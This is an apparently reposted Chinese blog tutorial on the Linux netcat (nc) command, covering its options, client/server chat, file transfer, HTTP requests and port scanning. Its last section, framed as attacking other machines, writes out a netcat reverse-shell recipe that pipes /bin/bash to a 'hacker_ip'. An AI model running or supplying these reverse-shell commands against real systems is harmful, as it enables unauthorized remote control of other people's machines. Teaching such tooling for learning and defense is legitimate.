IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> Linux命令-nc(端口监控、文件传输、反弹shell等) -> 正文阅读

[系统运维]Linux命令-nc(端口监控、文件传输、反弹shell等)

目录

简介

参数

nc的作用

参数详解

使用举例

客户/服务器模式

文件传输

基于TCP的上层协议

端口扫描

反弹Shell


简介

nc是netcat的简写,有着网络界的瑞士军刀美誉。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具。进行TCP、UDP的连接和监听,可以将标准错误分离。

参数

This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.
usage: nc [-46bCDdhjklnrStUuvZz] [-I length] [-i interval] [-O length]
? ? ? ? ? [-P proxy_username] [-p source_port] [-q seconds] [-s source]
? ? ? ? ? [-T toskeyword] [-V rtable] [-w timeout] [-X proxy_protocol]
? ? ? ? ? [-x proxy_address[:port]] [destination] [port]

? ? ? ? Command Summary:
? ? ? ? ? ? ? ? -4 ? ? ? ? ? ? ?Use IPv4
? ? ? ? ? ? ? ? -6 ? ? ? ? ? ? ?Use IPv6
? ? ? ? ? ? ? ? -b ? ? ? ? ? ? ?Allow broadcast
? ? ? ? ? ? ? ? -C ? ? ? ? ? ? ?Send CRLF as line-ending
? ? ? ? ? ? ? ? -D ? ? ? ? ? ? ?Enable the debug socket option
? ? ? ? ? ? ? ? -d ? ? ? ? ? ? ?Detach from stdin
? ? ? ? ? ? ? ? -h ? ? ? ? ? ? ?This help text
? ? ? ? ? ? ? ? -I length ? ? ? TCP receive buffer length
? ? ? ? ? ? ? ? -i secs ? ? ? ? Delay interval for lines sent, ports scanned
? ? ? ? ? ? ? ? -j ? ? ? ? ? ? ?Use jumbo frame
? ? ? ? ? ? ? ? -k ? ? ? ? ? ? ?Keep inbound sockets open for multiple connects
? ? ? ? ? ? ? ? -l ? ? ? ? ? ? ?Listen mode, for inbound connects
? ? ? ? ? ? ? ? -n ? ? ? ? ? ? ?Suppress name/port resolutions
? ? ? ? ? ? ? ? -O length ? ? ? TCP send buffer length
? ? ? ? ? ? ? ? -P proxyuser ? ?Username for proxy authentication
? ? ? ? ? ? ? ? -p port ? ? ? ? Specify local port for remote connects
? ? ? ? ? ? ? ? -q secs ? ? ? ? quit after EOF on stdin and delay of secs
? ? ? ? ? ? ? ? -r ? ? ? ? ? ? ?Randomize remote ports
? ? ? ? ? ? ? ? -S ? ? ? ? ? ? ?Enable the TCP MD5 signature option
? ? ? ? ? ? ? ? -s addr ? ? ? ? Local source address
? ? ? ? ? ? ? ? -T toskeyword ? Set IP Type of Service
? ? ? ? ? ? ? ? -t ? ? ? ? ? ? ?Answer TELNET negotiation
? ? ? ? ? ? ? ? -U ? ? ? ? ? ? ?Use UNIX domain socket
? ? ? ? ? ? ? ? -u ? ? ? ? ? ? ?UDP mode
? ? ? ? ? ? ? ? -V rtable ? ? ? Specify alternate routing table
? ? ? ? ? ? ? ? -v ? ? ? ? ? ? ?Verbose
? ? ? ? ? ? ? ? -w secs ? ? ? ? Timeout for connects and final net reads
? ? ? ? ? ? ? ? -X proto ? ? ? ?Proxy protocol: "4", "5" (SOCKS) or "connect"
? ? ? ? ? ? ? ? -x addr[:port] ?Specify proxy address and port
? ? ? ? ? ? ? ? -Z ? ? ? ? ? ? ?DCCP mode
? ? ? ? ? ? ? ? -z ? ? ? ? ? ? ?Zero-I/O mode [used for scanning]
? ? ? ? Port numbers can be individual or ranges: lo-hi [inclusive]

nc的作用

简单的TCP代理

基于shell脚本的HTTP客户端或服务器

网络守护进程/程序测试

文件传输

反弹shell(非本意)

参数详解

nc参数
参数解释
-4强制nc仅使用IPv4地址
-6强制nc仅使用IPv6地址
-b允许广播
-C发送CRLF作为行结束符
-D在套接字上启动测试
-d不要试图从标准输入读入数据
-h打印nc帮助
-l length指定TCP接收缓冲区大小
-i interval指定发送和接收的文本行之间的延迟时间间隔。还会导致连接到多个端口之间的延迟时间。
-k强制nc在当前连接完成后继续侦听另一个连接。在没有-l选项的情况下使用此选项是错误的。
-l用于指定nc应侦听传入连接,而不是启动到远程主机的连接。将此选项与-p、-s或-z选项结合使用是错误的。此外,使用-w选项指定的任何超时都将被忽略。
-n不要在任何指定的地址、主机名或端口上执行任何DNS或服务查找。
-O length指定TCP发送缓冲区大小
-P proxy_username指定要呈现给需要身份验证的代理服务器的用户名。如果未指定用户名,则不会尝试身份验证。目前仅支持HTTP CONNECT代理的代理身份验证。
-p??source_port根据权限限制和可用性,指定nc应使用的源端口。支持nn-mm范围模式和空格分隔。
-q seconds在stdin上执行EOF后,等待指定的秒数,然后退出。如果秒数为负,则永远等待。
-r指定应随机选择源端口和/或目标端口,而不是在某个范围内或按照系统分配的顺序顺序进行选择。
-S启用RFC 2385 TCP MD5签名选项。
-s source_ip指定用于发送数据包的接口的IP。对于UNIX域数据报套接字,指定要创建和使用的本地临时套接字文件,以便可以接收数据报。将此选项与-l选项结合使用是错误的。
-U指定使用UNIX域套接字。
-u使用UDP而不是TCP的默认选项。对于UNIX域套接字,请使用数据报套接字而不是流套接字。如果使用UNIX域套接字,则在/tmp中创建临时接收套接字,除非给出-s标志。
-V rtable设置要使用的路由表。默认值为0。
-v让nc提供更详细的输出。
-w timeout无法建立或在超时秒后处于空闲状态的连接。-w标志对-l选项没有影响,即nc将永久侦听连接,无论是否使用-w标志。默认值为无超时。
-X proxy_protocol请求nc在与代理服务器对话时应使用指定的协议。支持的协议有“4”(SOCKS v.4)、“5”(SOCKS v.5)和“connect”(HTTPS代理)。如果未指定协议,则使用SOCKS版本5。
-x proxy_address[:port]请求nc应使用代理地址和端口处的代理连接到目标。如果未指定端口,则使用代理协议的已知端口(1080用于SOCKS,3128用于HTTPS)。
-ZDCCP模式。
-z?指定nc应该只扫描侦听守护进程,而不向它们发送任何数据。将此选项与-l选项结合使用是错误的。

使用举例

客户/服务器模式

服务器端:监听端口

nc -l 6633

客户端:开启连接

nc 127.0.0.1 6633
客户端

服务器端

?这是同一台服务器,使用了tmux,开了frankyu和yubo,两个session。客户端和服务端就建立了Tcp连接,进行通信。

?注意:当我们关闭客户端时,服务端也会关闭,可以添加-k选项,使服务端不关闭。

文件传输

对上面的客户/服务器模式进行扩展即可。使用linux的重定向。

服务器端:

nc -l 6633 > filename.out

客户端:

nc 127.0.0.1 6633 < filename.in

博主测试了,不截图了,留给读者自己动手测试。

基于TCP的上层协议

可以通过nc发送基于TCP的上层协议数据包,例如,应用层的HTTP协议

printf "GET / HTTP/1.0\r\n\r\n" | nc host.example.com 80

端口扫描

利用-z和-v参数,输出是否连接成功

nc -zv ip/host ports

?可以看到22端口打开了。也可使用 22 80 6633,这种空格分隔的形式。

使用-u,就可以进行udp的扫描。当然,更详细的端口扫描还是使用Nmap

反弹Shell

我们攻击其他的机器的时候,拿不到22端口的口令或私钥,甚至22端口没有打开。我们想要实时运行命令时,就可以使用nc反弹shell,有一种我们在操控对方电脑的感觉。利用前面的端口监听结合管道来实现。

在受害者机器上运行

nc -l port| /bin/bash/ | nc hacker_ip port

在攻击机上运行

nc -l port
nc victim_ip port
shell反弹示意图

?博主手里就一台服务器,这里攻击机和受害机都是使用的一台。

攻击机监听6655端口

nc -l 6655

?操纵受害机6633端口接收命令,执行后结果输出到攻击机的6655端口

nc -l 6633 |/bin/bash/| nc 127.0.0.1 6655

攻击机开启6633端口发送命令

nc 127.0.0.1 6633

?从攻击机源端口发送命令,就可以从目的端口接收命令执行的结果。

更多内容查看:网络安全-自学笔记

喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。如果您感觉有所收获,自愿打赏,可选择支付宝18833895206(小于),您的支持是我不断更新的动力。

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2021-09-19 08:21:07  更:2021-09-19 08:21:37 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 16:23:52-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码